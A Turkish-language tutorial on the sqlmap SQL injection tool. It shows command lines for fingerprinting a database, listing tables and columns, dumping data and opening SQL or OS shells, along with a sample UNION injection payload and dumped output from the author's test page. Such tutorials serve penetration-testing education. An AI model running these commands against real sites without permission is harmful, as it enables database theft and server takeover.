SQL Injection Saldırılarında SqlMap Kullanımı

Sqlmap yazılımı veri tabanlarına yapılan Sql Injection saldırılarını gerçekleştirmek için python ile gelişitirilmiş bir araçtır.  Sql Injection saldırılarının “and 1=1” den ibaret olmadığının en güzel kanıtlarından birisi olan sqlmap yazılımına biraz yakından bakıldığında, gerçekten çok geniş ve gelişmiş özellikleri olduğu fark edilmektedir.

Sqlmap Kurulumu

http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.tar.gz link üzerinden download edebilir yahut Ubuntu repolarından “apt-get install sqlmap” komutu ile yazılımı kurulabilir.

Ardından sqlmap’e ait upgradeleri kurmak için

[mince@BGA sqlmap]$ svn upgrade
[mince@BGA sqlmap]$ python2 sqlmap.py –update

komutlarını sqlmap klasörü içerisinde çalıştırılmalıdır.

[mince@BGA sqlmap]$ python2 sqlmap.py –update

[*] starting at 08:56:05

[08:56:05] [INFO] updating sqlmap to latest development version from the subversion repository
[08:56:05] [INFO] update in progress …………… done
[08:56:20] [INFO] updated to the latest revision 4717

[*] shutting down at 08:56:20

Temel Sqlmap Özellikleri

  1. MySQL, Microsoft SQL Server,, Microsoft Acces, Oracle, PostgreSQL, SQLite, SAP MaxDB, Sybase, Firebird isimli database sistemlerini kullanan web uygulamaları üzerinden Sql Injection saldırıları gerçekleştirebilmektedir.
  2. Integer blind, Time-Based blind, Error-based, Stacked queries ve Union query olarak adlandırılan 5 tür sql injection saldırısı yapabilmektedir.
  3. Kurulum ile gelen default sözlük listeleri ile veri tabanından Sql Injection ile elde edilen hashlere deneme-yanılma saldırıları yapabilmektedir.
  4. Tüm database’i dump edebilme özelliği mevcuttur.
  5. Sizin sorgu yazabilmenize ve database üzerinde arama yapabilmenize olanak sağlar

(Daha fazlası için http://sqlmap.sourceforge.net/doc/README.html#s2 )

 

Temel Sqlmap Kullanımı

[mince@BGA sqlmap]$ python2 sqlmap.py -h

komutu ile sqlmap’e verilebilecek tüm parametreler burada açıklanmıştır.

[mince@BGA sqlmap]$ python2 sqlmap.py -u ‘http://www.hedef.com.tr/index.php?ara=TRUE&kelime=BGA&icerik=Exploit’

-u parametresi ile saldırı yapılacak url linki belirtilir.

Sqlmap’in bir özelliği ise GET talebi üzerinde ki tüm parametreleri parse ederek her parametre üzerinden Sql Injection testleri yapmasıdır. Testlerin sonucunda size hangi parametrelerde , hangi türde sql injection saldırısı gerçekleştirilebildiğini belirtecektir.

-f parametresi hedefin kullandığı sistem hakkında bilgi verecektir.

[mince@BGA sqlmap]$ python2 sqlmap.py -u “security.mehmetince.net/sqlmap-test.php?id=1” –technique=U -f

[*] starting at 09:08:43

Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) – 13 columns
Payload: id=-6161 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6276783a,0x69546d794d784f446850,0x3a6775793a), NULL, NULL, NULL, NULL, NULL, NULL#

[09:08:43] [INFO] testing MySQL
[09:08:43] [INFO] confirming MySQL
[09:08:44] [INFO] the back-end DBMS is MySQL
[09:08:44] [INFO] actively fingerprinting MySQL
[09:08:44] [WARNING] if the problem persists with ‘None’ values please try to use hidden switch ‘–no-cast’ (fixing problems with some collation issues)
[09:08:44] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux CentOS 5
web application technology: PHP 5.3.3, Apache 2.2.3
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
comment injection fingerprint: MySQL 5.0.77
html error message fingerprint: MySQL

Sqlmap siz spesifik olarak belirtmediğiniz taktirde (–dbms parametresi ile) , belli testler yaparak database türünü tespit etmeye çalışır.

[mince@BGA sqlmap]$ python2 sqlmap.py -u ‘http://www.hedef.com.tr/index.php?ara=TRUE&kelime=BGA&icerik=Exploit’ –tables –cookie=”KJ0EaVHQDaiofzd/z/zUyZJiZ1EsyneR”

–tables parametresi ile mevcut database üzerinde ki tablo isimlerine ulaşabilirsiniz.
Sistemde oturum açtıktan sonra erişim yetkinizin olduğu kısımlarda sqlmap kullanmak için, –cookie parametresi ile oturumunuza ait çereziniz header bilgilerinize dahil edilecektir ve sqlmap artık istediğiniz linkler üzerinde arama yapabilecektir.

Union sorgusu üzerinden yapılan sql injectionlarda blind sql injection saldırılarıda yapılabilir. Siz hangi tür saldırı tekniğini kullanmak isterseniz bunu –technique parametresi ile belirtebilirsiniz aksi takdirde sqlmap otomatik bir seçim yapacaktır. -Union için U,Blind için B vs.

-D parametresi ise hangi database ismi için sql injection yapılacağı sqlmap’e belirtebilirsiniz. –tables ve –columns parametreleri ile tablo ve kolonları dump etmek istediğinizi sqlmap’e belirtmektesiniz.

[mince@BGA sqlmap]$ python2 sqlmap.py -u “security.mehmetince.net/sqlmap-test.php?id=1&isim=mehmet&sirket=BGA” –technique=U -D mehmetince_wp –tables –columns

Bu sorgunun sonucunda sqlmap mehmetince_wp isimli database’de ki her tabloyu ve her tablonun sahip olduğu kolonları; kolon türü özellikleri ile birlikte size çıktı olarak verecektir.

İsterseniz –sql-shell parametresi ile sql serverda bir shell oturumunuz varmış gibi istediğiniz queryleri çalıştırabilirsiniz. Sqlmap sizin sorgularınızı sql injection üzerinden sistemi iletecek ve dönen sonucu size çıktı olarak ekrana verecektir.

[mince@BGA sqlmap]$ python2 sqlmap.py -h | grep “–os”

Sqlmap’in en güzel özelliklerinin başında işletim sisteminde komut çalıştırabilme özelliği gelmektedir. Üstte ki komut ile hangi parametrelerin ne için kullanıldığını açıklayan çıktıyı görebilirsiniz. Windows SQL Server’i database sistemi olarak kullanan bir web uygulamasında kullanıcıdan gelen değerlerin filtrelemeye tabi tutulmasının unutulması üzerine, –os-shell parametresi ile tüm windows serverı yönetebileceğiniz bir meterpreter session’ı başlatabilmektesiniz.

Sqlmap’in bu konuda ki tek eksiği -bu dökümanın yazıldığı tarih için- –os-shell özelliğinin hala daha Oracle için kapsam dışı olmasıdır.

PS: sqlmap’in bu eksikliğini bsqlbf isimli tool karşılamaktadır.

–dump parametresi ile bir tablonun içinde ki tüm dataları dump edebilirsiniz. -T ve -C parametreleri tablo ve kolon isimlerini belirlemek için kullanılmaktadır.

[mince@BGA sqlmap]$ python2 sqlmap.py -u “security.mehmetince.net/sqlmap-test.php?id=1” –technique=U -D mehmetince_wp -T wp_links -C link_url –dump

Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) – 13 columns
Payload: id=-6161 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6276783a,0x69546d794d784f446850,0x3a6775793a), NULL, NULL, NULL, NULL, NULL, NULL#

[1] as LIKE column names (default)
[2] as exact column names
> 1
+—————————————–+
| link_url                             |
+—————————————–+
| http://bga.com.tr                    |
|| http://exploit-db.com                |
| http://lifeoverip.net                |
| http://ozgurlukicin.com              |
|| http://www.exploit-db.com/author/?a=671 |
+—————————————–+

Görüldüğü üzere database üzerinden istediğiniz datayı dump edebilmektesiniz. İsterseniz –dump-all parametresi ile tüm database’i de dump edebilme imkanını kullanabilirsiniz.

Mobil Sistemleri Kullanarak SQLi Denemeleri;

Birçok Smart Phone web siteleri http user-agent üzerinden inceleme yaparak sadece telefonlardan gelen talepleri kabul etmektelerdir. Telefonunuz üzerinden Sql Injection yapmak gerçekten zor olacağı için sqlmap dizininde bulunan sqlmap.conf dosyasında ki smart = False satırını True yapmanız yeterli olacaktır. Sqlmap artık bir akıllı telefon uygulamasıymış gibi taklitler yaparak talep göndermeye başlayacaktır.

 

#Anasayfa = http://sqlmap.sourceforge.net/
#Geliştiriciler = Bernardo Damele, Miroslav Stampar

Mehmet Dursun INCE
mehmet.ince@bga.com.tr
PS: Bu döküman Archlinux işletim sistemi üzerinde hazırlanmıştır.